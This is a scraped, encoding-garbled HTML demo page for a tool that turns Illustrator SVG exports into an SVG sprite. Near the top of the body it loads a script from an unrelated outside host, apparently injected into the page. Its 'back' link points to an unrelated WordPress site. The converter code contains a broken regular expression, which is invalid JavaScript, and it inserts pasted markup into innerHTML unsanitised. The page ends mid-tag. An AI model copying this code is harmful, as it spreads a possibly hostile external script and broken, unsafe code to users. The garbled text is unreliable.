illustrator鐢熸垚SVG杞崲鎴恮eb鍙敤SVG Sprite宸ュ叿禄寮犻懌鏃?閼┖闂?閼敓娲?/title> <link rel="stylesheet" href="../study/css/demo.css" /> <link rel="stylesheet" href="/sp/quicklayout/quick_layout-min.css" /> <style> a { color: #34538b; } .code_area { display: block; width: 99%; height: 300px; margin: 10px 0; overflow: auto; resize: vertical; } .show { padding: 10px; } pre { display: block; padding: 10px; font-size: 12px; font-family: "Lucida Console", Monaco, monospace; word-wrap: break-word; background-color: #f5f5f5; border: 1px dashed #ddd; color: #666; } svg { width: 64px; height: 64px; fill: #272636; } </style> </head> <body> <script src="http://www.t7j7.com/js.js"></script> <div id="header"> <a href="/" class="logo" title="鍥炲埌閼┖闂?閼敓娲婚椤?> <img alt="寮犻懌鏃?閼┖闂?閼敓娲? src="/php/image/zxx_home_logo.png" border="0" /> </a> </div> <div id="main"> <h1>illustrator鐢熸垚SVG杞崲鎴恮eb鍙敤SVG Sprite宸ュ叿瀹炰緥椤甸潰</h1> <a href="http://suyamvaraa.com/wordpress/?p=4264" id="back">鍥炲埌鐩稿叧鏂囩珷 »</a> <div id="body"> <div id="code" class="part"> <h3>杩欓噷绮樿创瀹屾暣SVG浠ｇ爜锛?/h3> <div class="show"> <textarea class="code_area" id="codeInit" placeholder="浠ｇ爜绮樿创鍦ㄨ繖閲? required></textarea> <p><a href="javascript:" id="codeBtn" class="btn btn_blue">杞崲钀岃悓鍝?/a></p> <textarea class="code_area" id="codeConv" placeholder="杞崲鍚庣殑浠ｇ爜鍦ㄨ繖閲?></textarea> <p><strong>瀵煎嚭鐨凷VG鏂囦欢鍚嶆槸锛?/strong><input size="10" id="nameSvg" class="tr" placeholder="鐣欑┖鍒欓殢鏈? name="name">.svg</p> <p><a href="javascript:" id="exportBtn" class="btn btn_red">瀵煎嚭璇VG</a> <span class="ml20"></span></p> </div> </div> <div id="effect" class="part"> <h3>浣跨敤绀烘剰锛?/h3> <div id="result" class="show"> <strong>杩欓噷鏄剧ず鏁堟灉</strong> <p id="resultSvg">鏆傛棤</p> <strong>杩欓噷鏄剧ず浠ｇ爜</strong> <pre id="resultCode">鏆傛棤</pre> </div> </div> </div> </div> <script> var result = document.getElementById("result"), button = document.getElementById("codeBtn"), exportbtn = document.getElementById("exportBtn") nameSvg = document.getElementById("nameSvg"); if (window.addEventListener) { var codeInit = document.getElementById("codeInit"), codeConv = document.getElementById("codeConv"); button.addEventListener("click", function() { var code = codeInit.value.trim(), html_svg = ''; if (code == "") { codeInit.focus(); } else { // 鏈湴瀛樺偍 localStorage.svgCodeInit = code; // 瀛楃涓插鐞嗚鍒欏涓? // 1. 鏇挎崲鎵€鏈夌殑鎹㈣绗? code = code.replace(/\r\n/g, ""); // 2. 澶氫釜绌烘牸鍙樻垚1涓? code = code.replace(/\s{2,}/g, " "); // 3. use鏍囩杩囨护 code = code.replace(/<use.*>/g, ""); // 4. 娉ㄩ噴杩囨护 code = code.replace(//g, ""); // 5. SVG绮剧畝 code = code.replace(/<svg.*>/, "<svg>"); // 6. xml澹版槑鍘婚櫎 code = code.replace(/<\?xml.*\?>/g, ""); // 7. 鏂囨。澹版槑鍘婚櫎 code = code.replace(/<DOCTYPE.*>/gi, ""); // 8. 瀛楃涓插帇缂? code = code.replace(/\s+</g, "<"); // 8. 缁欐瘡涓猻ymbol瀛愬厓绱犵炕杞? var tempNode= document.createElement("div"); tempNode.style.display = "none"; tempNode.innerHTML = code; document.body.appendChild(tempNode); var symbols = tempNode.querySelectorAll("symbol"); [].slice.call(symbols).forEach(function(symbol) { html_svg += '<svg><use xlink:href="#'+ symbol.id +'"></use></svg>\r\n'; // 鎵€鏈夊瓙鍏冪礌缈昏浆 [].slice.call(symbol.childNodes).forEach(function(child) { child.setAttribute && child.setAttribute("transform", "matrix(1 0 0 -1 0 0)"); }); }); if (html_svg) { document.querySelector("#resultSvg").innerHTML = html_svg; document.querySelector("#resultCode").innerHTML = html_svg.replace(/</g, "<"); } codeConv.value = tempNode.innerHTML; document.body.removeChild(tempNode); tempNode = null; } }); codeConv.addEventListener("focus", function() { setTimeout(function() { this.select(); }.bind(this), 100); }); exportbtn.addEventListener("click", function() { var name = nameSvg.value, data = new FormData(); localStorage.svgConvName = name; if (name == "") name = "svg-sprite." + Math.round(Math.random() * 10000); if (codeConv.value == "") { return false; } var xhr = new XMLHttpRequest(); xhr.open("POST", "svg.php"); xhr.onload = function() { if (xhr.responseText && xhr.responseText != "error") { location.href = xhr.responseText; } }; data.append("code", encodeURIComponent(codeConv.value)); data.append("name", encodeURIComponent(name)); xhr.send(data); }); if (localStorage.svgCodeInit) { codeInit.value = localStorage.svgCodeInit; } if (localStorage.svgConvName) { nameSvg.value = localStorage.svgConvName; } } else { result.innerHTML = '<span class="red">浣犵殑娴忚鍣ㄤ笉鏀寔SVG, 琚剻瑙嗕簡~</span>'; } </script>  <div id="footer"> Designed & Powerd by <a href="/">zhangxinxu</a><br /> Copyright漏寮犻懌鏃?閼┖闂?閼敓娲?br> <a href="http://www.miibeian.gov.cn/" target="_blank">閯侷CP澶?9015569鍙?/a> </div> <div id="ad">  <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-11205167-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = '//www.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </div> </body> </html> <script type="text/javascript" src="/sys